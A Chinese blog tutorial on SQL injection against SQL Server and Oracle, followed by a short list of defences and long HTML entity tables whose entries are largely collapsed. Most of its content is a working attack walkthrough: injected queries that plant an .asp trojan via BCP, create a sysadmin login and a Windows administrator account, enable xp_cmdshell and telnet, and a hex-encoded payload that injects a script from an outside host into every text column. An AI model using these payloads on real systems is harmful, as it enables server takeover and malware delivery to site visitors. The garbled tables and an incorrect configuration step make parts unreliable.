SQL注入浅水攻防
啥是SQL注入(SQL Injection)
所谓SQL注入就是把SQL命令插入到表单的输入域或页面请求的查询字符串,欺骗服务器执行恶意的SQL命令。在某些表单中,用户输入的内容直接用来构造 (或影响)SQL命令,或作为存储过程的输入参数,这类表单可将系统轻则异常、中断,重则可以将数据库权限窃取。
场景重现
一个简单的登陆页面---sql注入
登陆表单:
关键代码:
publicString login() throws Exception
{
String sql = "SELECT * FROMSYS_USER WHERE account='"+ username +"'";
getCurrentSeesion().createSQLQuery(sql).uniqueResult ();
}
如果此时用户名输入如下则一切安好:
如果这样输入
只是多了一个英文符号',请自行测试结果。
看文请回复,………………是一种美德………………………………………………………………………………
我测试的结果SQL最终执行的语句为:
SELECT * FROMSYS_USER WHERE account='flash8627@hotmail.com'--';
因为UserName值中输入了“--”注释符,后面语句被省略而登录成功。(常常的手法:前面加上'; ' (分号,用于结束前一条语句),后边加上'--' (用于注释后边的语句))
上面最简单的一种SQL注入。
常见的注入语句
SQL Server
猜测数据库名,备份数据库
1. 猜测数据库名
2. 备份数据库
猜解字段名称
1. 猜解法:and(select count(字段名) from表名)>0 若“字段名”存在,则返回正常
2. 读取法:and(select 1 col_name(object_id('表名') 1) from sysobjects)>0 把col_name(object_id('表名') 1 )中的1依次换成2,3,4,5,6…就可得到所有的字段名称。
遍历系统的目录结构,分析结构并发现WEB虚拟目录(服务器上传木马)
先创建一个临时表:;createtable temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3nvarchar(255));--
a) 利用xp_availablemedia来获得当前所有驱动器,并存入temp表中
;inserttemp exec master.dbo.xp_availablemedia;--
b) 利用xp_subdirs获得子目录列表,并存入temp表中
;insertinto temp(id) exec master.dbo.xp_subdirs 'c:\';--
c) 利用xp_dirtree可以获得“所有”子目录的目录树结构,并存入temp表中
;insertinto temp(id,num1) exec master.dbo.xp_dirtree 'c:\';--(实验成功)
d) 利用 bcp命令将表内容导成文件
即插入木马文本,然后导出存为文件。比如导出为asp文件,然后通过浏览器访问该文件并执行恶意脚本。(使用该命令必须启动’ xp_cmdshell’)
Execmaster..xp_cmdshell N'BCP "select * fromSchoolMarket.dbo.GoodsStoreData;" queryout c:/inetpub/wwwroot/runcommand.asp-w -S"localhost" -U"sa" -P"123"'
(注意:语句中使用的是双引号,另外表名格式为“数据库名.用户名.表名”)
在sql查询器中通过语句:Execmaster..xp_cmdshell N'BCP’即可查看BCP相关参数
查询当前用户的数据库权限
MSSQL中一共存在8种权限:sysadmin,dbcreator, diskadmin, processadmin, serveradmin, setupadmin, securityadmin,bulkadmin。
可通过1=(select IS_SRVROLEMEMBER('sysadmin'))得到当前用户是否具有该权限。
设置新的数据库帐户(得到MSSQL管理员账户)
1. 在数据库内添加一个hax用户,默认密码是空
;exec sp_addlogin'hax';--
2. 给hax设置密码 (null是旧密码,password是新密码,user是用户名)
;exec master.dbo.sp_passwordnull,password,username;--
3. 将hax添加到sysadmin组
;exec master.dbo.sp_addsrvrolemember 'hax','sysadmin';--
xp_cmdshell MSSQL存储过程(得到 WINDOWS管理员账户)
通过(5)获取到sysadmin权限的帐户后,使用查询分析器连接到数据库,可通过xp_cmdshell运行系统命令行(必须是sysadmin权限),即使用 cmd.exe 工具,可以做什么自己多了解下。
下面我们使用xp_cmdshell来创建一个 Windows用户,并开启远程登录服务:
a) 判断xp_cmdshell扩展存储过程是否存在
SELECT count(*) FROM master.dbo.sysobjectsWHERE xtype = 'X' AND name ='xp_cmdshell'
b) 恢复xp_cmdshell扩展存储过程
Exec master.dbo.sp_addextendedproc'xp_cmdshell','e:\inetput\web\xplog70.dll';
开启后使用xp_cmdshell还会报下面错误:
SQL Server 阻止了对组件 'xp_cmdshell'的过程'sys.xp_cmdshell' 的访问,因为此组件已作为此服务器安全配置的一部分而被关闭。系统管理员可以通过使用sp_configure启用 'xp_cmdshell'。有关启用 'xp_cmdshell' 的详细信息,请参阅 SQL Server 联机丛书中的 "外围应用配置器"。
通过执行下面语句进行设置:
-- 允许配置高级选项
EXEC sp_configure 'show advanced options',1
GO
-- 重新配置
RECONFIGURE
GO
-- 启用xp_cmdshell
EXEC sp_configure 'xp_cmdshell', 0
GO
--重新配置
RECONFIGURE
GO
c) 禁用xp_cmdshell扩展存储过程
Exec master.dbo.sp_dropextendedproc'xp_cmdshell';
d) 添加windows用户:
Exec xp_cmdshell 'net user awen /add';
e) 设置好密码:
Exec xp_cmdshell 'net user awen password';
f) 提升到管理员:
Exec xp_cmdshell 'net localgroupadministrators awen /add';
g) 开启telnet服务:
Exec xp_cmdshell 'net start tlntsvr'
没有xp_cmdshell扩展程序,也可创建Windows帐户的办法.
(本人windows7系统,测试下面SQL语句木有效果)
declare @shell int ;
execsp_OAcreate 'w script .shell',@shelloutput ;
execsp_OAmethod@shell,'run',null,'C:\Windows\System32\cmd.exe /c net user awen /add';
execsp_OAmethod@shell,'run',null,'C:\Windows\System32\cmd.exe /c net user awen 123';
execsp_OAmethod@shell,'run',null,'C:\Windows\System32\cmd.exe /c net localgroup administratorsawen /add';
在使用的时候会报如下错:
SQL Server 阻止了对组件 'OleAutomation Procedures'的过程 'sys.sp_OACreate'、'sys.sp_OAMethod'的访问,因为此组件已作为此服务器安全配置的一部分而被关闭。系统管理员可以通过使用sp_configure启用 'Ole Automation Procedures'。有关启用 'Ole AutomationProcedures'的详细信息,请参阅 SQL Server 联机丛书中的 "外围应用配置器"。
解决办法:
sp_configure 'show advanced options', 1;
GO
RECONFIGURE;
GO
sp_configure 'Ole Automation Procedures',1;
GO
RECONFIGURE;
GO
恭喜……你的服务器是别人的了
客户端脚本攻击
攻击1:
(正常输入)攻击者通过正常的输入提交方式将恶意脚本提交到数据库中,当其他用户浏览此内容时就会受到恶意脚本的攻击。
攻击2:
(SQL注入)攻击者通过SQL注入方式将恶意脚本提交到数据库中,直接使用SQL语法UPDATE数据库,为了跳过页面输出的转义,攻击者会将注入SQL经过“HEX编码”,然后通过exec可以执行“动态”SQL的特性运行脚本”
ORACLE
PL/SQL过程执行存在多个注入问题,远程攻击者可以利用这个漏洞提升特权,当PL/SQL过程执行时,使用definer权限,除非执行AUTHIDCURRENT USER关键词,在这个过程里以调用者特权执行过程,如果过程存在PL/SQL注入,任何过程可以滥用definer权力提升权限。已知受影响过程为:
OwnerProcedure
SYSDBMS_EXPORT_EXTENSION
WKSYSWK_ACL.GET_ACL
WKSYSWK_ACL.STORE_ACL
WKSYSWK_ADM.COMPLETE_ACL_SNAPSHOT
WKSYSWK_ACL.DELETE_ACLS_WITH_STATEMENT
CTXSYSDRILOAD.VALIDATE_STMT
上面几个可利用获得DBA权限。
受影响系统:
Oracle Oracle10g ApplicationServer 9.0.4.0
Oracle Oracle10g ApplicationServer 10.1.0.2
………………
更高级的攻击
将注入的SQL进行“HEX编码”,从而避免程序的关键字检查、脚本转义等,通过EXEC执行
dEcLaRe@s vArChAr(8000) sEt@s=0x4465636c617265204054205661726368617228323535292c4043205661726368617228323535290d0a4465636c617265205461626c655f437572736f7220437572736f7220466f722053656c65637420412e4e616d652c422e4e616d652046726f6d205379736f626a6563747320412c537973636f6c756d6e73204220576865726520412e49643d422e496420416e6420412e58747970653d27752720416e642028422e58747970653d3939204f7220422e58747970653d3335204f7220422e58747970653d323331204f7220422e58747970653d31363729204f70656e205461626c655f437572736f72204665746368204e6578742046726f6d20205461626c655f437572736f7220496e746f2040542c4043205768696c6528404046657463685f5374617475733d302920426567696e20457865632827757064617465205b272b40542b275d20536574205b272b40432b275d3d527472696d28436f6e7665727428566172636861722838303030292c5b272b40432b275d29292b27273c736372697074207372633d687474703a2f2f386638656c336c2e636e2f302e6a733e3c2f7363726970743e272727294665746368204e6578742046726f6d20205461626c655f437572736f7220496e746f2040542c404320456e6420436c6f7365205461626c655f437572736f72204465616c6c6f63617465205461626c655f437572736f72; eXeC(@s);-- |
我如何得到“HEX编码”?
开始不知道HEX是什么东西,后面查了是“十六进制”,网上已经给出两种转换方式:(注意转换的时候不要加入十六进制的标示符'0x' )
防止SQL注入
1. 数据库权限控制,只给访问数据库的web应用功能所需的最低权限帐户
2. 自定义错误信息,首先我们要屏蔽服务器的详细错误信息传到客户端。
3. 把危险的和不必要的存储过程删除
4. 非参数化SQL与参数化SQL
将输入值中包含的《HTML特殊转义字符》转换掉。
转义字符如附表转义字符:
5. 类型检查:对接收数据有明确要求的,在方法内进行类型验证。
6. 长度验证:要进行必要的注入,其语句也是有长度的。
7. 使用枚举:如果只有有限的几个值,就用枚举。
8. 关键字过滤:这个门槛比较高,因为各个数据库存在关键字,内置函数的差异,所以对编写此函数的功底要求较高。
HTML特殊转义字符列表
最常用的字符实体
Character Entities
显示 |
说明 |
实体名称 |
实体编号 |
半方大的空白 |
  |
  |
|
全方大的空白 |
  |
  |
|
不断行的空白格 |
|
  |
|
< |
小于 |
< |
< |
> |
大于 |
> |
> |
& |
&符号 |
& |
& |
" |
双引号 |
" |
" |
© |
版权 |
© |
© |
® |
已注册商标 |
® |
® |
™ |
商标(美国) |
™ |
™ |
× |
乘号 |
× |
× |
÷ |
除号 |
÷ |
÷ |
ISO8859-1 (Latin-1)字符集
HTML 4.01 支持 ISO8859-1 (Latin-1) 字符集。
备注:为了方便起见,以下表格中,“实体名称”简称为“名称”,“实体编号”简称为“编号”
显示 |
名称 |
编号 |
显示 |
名称 |
编号 |
显示 |
名称 |
编号 |
显示 |
名称 |
编号 |
显示 |
名称 |
编号 |
|
  |
¡ |
¡ |
¡ |
¢ |
¢ |
¢ |
£ |
£ |
£ |
¤ |
¤ |
¤ |
|
¥ |
¥ |
¥ |
¦ |
¦ |
¦ |
§ |
§ |
§ |
¨ |
¨ |
¨ |
© |
© |
© |
ª |
ª |
ª |
« |
« |
« |
¬ |
¬ |
¬ |
­ |
­ |
® |
® |
® |
|
¯ |
¯ |
¯ |
° |
° |
° |
± |
± |
± |
² |
² |
² |
³ |
³ |
³ |
´ |
´ |
´ |
µ |
µ |
µ |
¶ |
¶ |
¶ |
· |
· |
· |
¸ |
¸ |
¸ |
¹ |
¹ |
¹ |
º |
º |
º |
» |
» |
» |
¼ |
¼ |
¼ |
½ |
½ |
½ |
¾ |
¾ |
¾ |
¿ |
¿ |
¿ |
À |
À |
À |
Á |
Á |
Á |
 |
 |
 |
à |
à |
à |
Ä |
Ä |
Ä |
Å |
Å |
Å |
Æ |
Æ |
Æ |
Ç |
Ç |
Ç |
È |
È |
È |
É |
É |
É |
Ê |
Ê |
Ê |
Ë |
Ë |
Ë |
Ì |
Ì |
Ì |
Í |
Í |
Í |
Î |
Î |
Î |
Ï |
Ï |
Ï |
Ð |
Ð |
Ð |
Ñ |
Ñ |
Ñ |
Ò |
Ò |
Ò |
Ó |
Ó |
Ó |
Ô |
Ô |
Ô |
Õ |
Õ |
Õ |
Ö |
Ö |
Ö |
× |
× |
× |
Ø |
Ø |
Ø |
Ù |
Ù |
Ù |
Ú |
Ú |
Ú |
Û |
Û |
Û |
Ü |
Ü |
Ü |
Ý |
Ý |
Ý |
Þ |
Þ |
Þ |
ß |
ß |
ß |
à |
à |
à |
á |
á |
á |
â |
â |
â |
ã |
ã |
ã |
ä |
ä |
ä |
å |
å |
å |
æ |
æ |
æ |
ç |
ç |
ç |
è |
è |
è |
é |
é |
é |
ê |
ê |
ê |
ë |
ë |
ë |
ì |
ì |
ì |
í |
í |
í |
î |
î |
î |
ï |
ï |
ï |
ð |
ð |
ð |
ñ |
ñ |
ñ |
ò |
ò |
ò |
ó |
ó |
ó |
ô |
ô |
ô |
õ |
õ |
õ |
ö |
ö |
ö |
÷ |
÷ |
÷ |
ø |
ø |
ø |
ù |
ù |
ù |
ú |
ú |
ú |
û |
û |
û |
ü |
ü |
ü |
ý |
ý |
ý |
þ |
þ |
þ |
ÿ |
ÿ |
ÿ |
数学和希腊字母标志
symbols, mathematical symbols, and Greek letters
显示 |
名称 |
编号 |
显示 |
名称 |
编号 |
显示 |
名称 |
编号 |
显示 |
名称 |
编号 |
显示 |
名称 |
编号 |
ƒ |
ƒ |
ƒ |
Α |
Α |
Α |
Β |
Β |
Β |
Γ |
Γ |
Γ |
Δ |
Δ |
Δ |
Ε |
Ε |
Ε |
Ζ |
Ζ |
Ζ |
Η |
Η |
Η |
Θ |
Θ |
Θ |
Ι |
Ι |
Ι |
Κ |
Κ |
Κ |
Λ |
Λ |
Λ |
Μ |
Μ |
Μ |
Ν |
Ν |
Ν |
Ξ |
Ξ |
Ξ |
Ο |
Ο |
Ο |
Π |
Π |
Π |
Ρ |
Ρ |
Ρ |
Σ |
Σ |
Σ |
Τ |
Τ |
Τ |
Υ |
Υ |
Υ |
Φ |
Φ |
Φ |
Χ |
Χ |
Χ |
Ψ |
Ψ |
Ψ |
Ω |
Ω |
Ω |
α |
α |
α |
β |
β |
β |
γ |
γ |
γ |
δ |
δ |
δ |
ε |
ε |
ε |
ζ |
ζ |
ζ |
η |
η |
η |
θ |
θ |
θ |
ι |
ι |
ι |
κ |
κ |
κ |
λ |
λ |
λ |
μ |
μ |
μ |
ν |
ν |
ν |
ξ |
ξ |
ξ |
ο |
ο |
ο |
π |
π |
π |
ρ |
ρ |
ρ |
ς |
ς |
ς |
σ |
σ |
σ |
τ |
τ |
τ |
υ |
υ |
υ |
φ |
φ |
φ |
χ |
χ |
χ |
ψ |
ψ |
ψ |
ω |
ω |
ω |
? |
ϑ |
ϑ |
? |
ϒ |
ϒ |
? |
ϖ |
ϖ |
• |
• |
• |
… |
… |
… |
′ |
′ |
′ |
″ |
″ |
″ |
‾ |
‾ |
‾ |
⁄ |
⁄ |
⁄ |
℘ |
℘ |
℘ |
ℑ |
ℑ |
ℑ |
ℜ |
ℜ |
ℜ |
™ |
™ |
™ |
ℵ |
ℵ |
ℵ |
← |
← |
← |
↑ |
↑ |
↑ |
→ |
→ |
→ |
↓ |
↓ |
↓ |
↔ |
↔ |
↔ |
↵ |
↵ |
↵ |
⇐ |
⇐ |
⇐ |
⇑ |
⇑ |
⇑ |
⇒ |
⇒ |
⇒ |
⇓ |
⇓ |
⇓ |
⇔ |
⇔ |
⇔ |
∀ |
∀ |
∀ |
∂ |
∂ |
∂ |
∃ |
∃ |
∃ |
∅ |
∅ |
∅ |
∇ |
∇ |
∇ |
∈ |
∈ |
∈ |
∉ |
∉ |
∉ |
∋ |
∋ |
∋ |
∏ |
∏ |
∏ |
∑ |
∑ |
∑ |
− |
− |
− |
∗ |
∗ |
∗ |
√ |
√ |
√ |
∝ |
∝ |
∝ |
∞ |
∞ |
∞ |
∠ |
∠ |
∠ |
∧ |
∧ |
∧ |
∨ |
∨ |
∨ |
∩ |
∩ |
∩ |
∪ |
∪ |
∪ |
∫ |
∫ |
∫ |
∴ |
∴ |
∴ |
∼ |
∼ |
∼ |
∝ |
≅ |
≅ |
≈ |
≈ |
≈ |
≠ |
≠ |
≠ |
≡ |
≡ |
≡ |
≤ |
≤ |
≤ |
≥ |
≥ |
≥ |
⊂ |
⊂ |
⊂ |
⊃ |
⊃ |
⊃ |
⊄ |
⊄ |
⊄ |
⊆ |
⊆ |
⊆ |
⊇ |
⊇ |
⊇ |
⊕ |
⊕ |
⊕ |
⊗ |
⊗ |
⊗ |
⊥ |
⊥ |
⊥ |
⋅ |
⋅ |
⋅ |
? |
⌈ |
⌈ |
? |
⌉ |
⌉ |
? |
⌊ |
⌊ |
? |
⌋ |
⌋ |
? |
⟨ |
〈 |
? |
⟩ |
〉 |
◊ |
◊ |
◊ |
♠ |
♠ |
♠ |
♣ |
♣ |
♣ |
♥ |
♥ |
♥ |
♦ |
♦ |
♦ |
重要的国际标记
markup-significant and internationalization characters
显示 |
名称 |
编号 |
显示 |
名称 |
编号 |
显示 |
名称 |
编号 |
显示 |
名称 |
编号 |
显示 |
名称 |
编号 |
" |
" |
" |
& |
& |
& |
< |
< |
< |
> |
> |
> |
Œ |
Œ |
Œ |
œ |
œ |
œ |
Š |
Š |
Š |
š |
š |
š |
Ÿ |
Ÿ |
Ÿ |
ˆ |
ˆ |
ˆ |
˜ |
˜ |
˜ |
  |
  |
  |
  |
  |
  |
|
‌ |
‌ |
|||
|
‍ |
‍ |
|
‎ |
‎ |
|
‏ |
‏ |
– |
– |
– |
— |
— |
— |
‘ |
‘ |
‘ |
’ |
’ |
’ |
‚ |
‚ |
‚ |
“ |
“ |
“ |
” |
” |
” |
„ |
„ |
„ |
† |
† |
† |
‡ |
‡ |
‡ |
‰ |
‰ |
‰ |
‹ |
‹ |
‹ |
› |
› |
› |
€ |
€ |
€ |
JavaScript转义符
转义序列 |
字符 |
\b |
退格 |
\f |
走纸换页 |
\n |
换行 |
\r |
回车 |
\t |
横向跳格 (Ctrl-I) |
\' |
单引号 |
\" |
双引号 |
\\ |
反斜杠 |
编程的时候要注意特殊字符的问题,很多运行时出现的问题都是因为特殊字符的出现而引起的。
注意,由于反斜杠本身用作转义符,因此不能直接在脚本中键入一个反斜杠。如果要产生一个反斜杠,必须一起键入两个反斜杠 (\\)。
看文请回复,………………是一种美德………………………………………………………………………………